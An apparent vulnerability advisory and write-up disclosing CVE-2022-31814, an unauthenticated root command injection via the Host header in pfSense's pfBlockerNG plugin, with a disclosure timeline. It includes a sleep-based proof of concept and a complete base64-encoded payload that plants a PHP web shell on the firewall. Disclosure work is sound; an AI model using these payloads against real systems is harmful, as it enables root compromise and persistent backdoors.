Categorie
Advisories

pfBlockerNG Unauth RCE Vulnerability

TL;DR

IHTeam undertook an independent security assessment of pfsense’s pfBlockerNG plugin version 2.1.4_26 and identified the following vulnerability:

  • Unauthenticated Remote Command Execution as root (CVE-2022-31814)

What’s pfBlockerNG

pfBlockerNG (https://docs.netgate.com/pfsense/en/latest/packages/pfblocker.html) is a pfSense plugin that is NOT installed by default and it’s generally used to block inbound connections from whole countries or IP ranges.

CVE-2022-31814

IHTeam identified a remote command execution vulnerability in pfBlockerNG <= 2.1.4_26 that can be exploited from an unauthenticated perspective.

Fig 1: Image showing the installed pfBlockerNG plugin

Being the web server run by the root user, the impact of this vulnerability is critical, with a CVSS 3.0 score of 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

The consultant downloaded the latest stable version of pfSense (2.6.0 at the moment of writing) and installed the latest stable version of pfBlockerNG (2.1.4_26 at the moment of writing).

The vulnerability was identified in the file /usr/local/www/pfblockerng/www/index.php which is used to record and query DNSBL data. Specifically to query, the code uses PHP function exec(), passing untrusted data into the command.

// Query DNSBL Alias for Domain List.
$query = str_replace('.', '\.', htmlspecialchars($_SERVER['HTTP_HOST']));

exec("/usr/bin/grep -l ' \"{$query} 60 IN A' /var/db/pfblockerng/dnsblalias/*", $match);

The $_SERVER[‘HTTP_HOST’] element passed in the above code, is a user-controllable input that could result in changing the meaning of the command (as originally intended). An attacker can tamper with the HTTP_HOST parameter via the “Host:” header of the request, as shown in the picture below:

Fig 2: Image showing the “Host” header value reflected in command

Restrictions on characters

There were few restrictions in place regarding characters you could use:

  • htmlspecialchars() PHP function was preventing the use of shell redirections (> and <), double quotes (“), and ampersand (&)
Fig 3: Image showing how “&” was encoded in HTML when used
  • nginx web server won’t accept the forward slash (/) in the Host header, returning a 400 – Bad Request
Fig 4: Image showing nginx returning 400

Therefore, the only available characters to build a working payload were:

  • pipe (|)
  • semicolon (;)
  • single quote (‘)
  • spaces ( )

–Simple proof of concept–

To easily identify a valid payload, we can copy the original command in the exec() function and try to tamper with it directly in a shell:

/usr/bin/grep -l ' "INJECTION 60 IN A' /var/db/pfblockerng/dnsblalias/*

In order to obtain a working PoC, we need:

  1. Close the single quote
  2. Specify a directory to search on
  3. Break the command with a semicolon
  4. Comment or add an additional single quote
' *; sleep 5; '

The above simple proof of concept made the system delay the request for 5 seconds, confirming the injection worked.

–Backdooring pfSense–

The next step would involve the build of a stable shell on the remote machine and to do so, we would need to find a creative way to (at least) write a PHP file.

Remember that we can’t use redirections or even forward slashes, therefore the consultant utilized base64 to write a more complex payload that could be executed via php-cli.

However, the “base64 -d” binary was not installed by default in pfSense, but python3.8 was, therefore we were able to write and decode base64 payloads and pipe everything in the php-cli binary:

  • Simple PHP code
<?echo("HELL");?>
  • Encode it in base64
PD9lY2hvKCJIRUxMIik7Pz4=
  • Use python to decode the base64
python3.8 -m base64 -d
  • Pipe everything into PHP
| php
Fig 5: Image showing the “echo” message successfully executed by PHP

Keep in mind that base64 has forward slashes (/) in its charset – therefore build a payload that doesn’t include them.

Now that we got back the “HELL” message, we know that PHP successfully executed our payload, we can build a more complex payload to backdoor pfSense.

<?$a=fopen("/usr/local/www/system_advanced_control.php","w") or die();$t='<?php print(passthru( $_GET["c"]));?>';fwrite($a,$t);fclose( $a);?>

It creates a file in /usr/local/www/system_advanced_control.php with a very simple call to execute command and get back results from it.

PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBwcmludChwYXNzdGhydSggJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSggJGEpOz8+

Once again, the above payload, encoded in base64, did not contain any forward slashes. Hence, the final payload to obtain a backdoor in pfSense would be as follow:

/usr/bin/grep -l ' "' * ; echo 'PD8kYT1mb3BlbigiL3Vzci9sb2NhbC93d3cvc3lzdGVtX2FkdmFuY2VkX2NvbnRyb2wucGhwIiwidyIpIG9yIGRpZSgpOyR0PSc8P3BocCBlY2hvKGV4ZWMoJF9HRVRbImMiXSkpOz8+Jztmd3JpdGUoJGEsJHQpO2ZjbG9zZSgkYSk7Pz4=' | python3.8 -m base64 -d | php ; ' 60 IN A' /var/db/pfblockerng/dnsblalias/*

Exploit Code

The exploit code can be found at https://iht.li/p/WWATN

Fig 6: Image showing the exploit execution

Disclosure Timeline

28/05/2022 – Technical details sent to [email protected]
31/05/2022 – No response from NetGate, directly contacted BBcan177 (maintainer of the package in GitHub)
05/06/2022 – BBcan177 released a temporary patch https://github.com/pfsense/FreeBSD-ports/pull/1169 while waiting to deprecate version 2.x in favor of 3.x
07/06/2022 – NetGate came back saying they don’t issue security advisories for vulnerabilities within Packages, especially community-maintained packages such as pfBlockerNG.
–3 months delay to allow clients to patch–
05/09/2022 – Blog post and exploit published

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.

Questo sito usa Akismet per ridurre lo spam. Scopri come i tuoi dati vengono elaborati.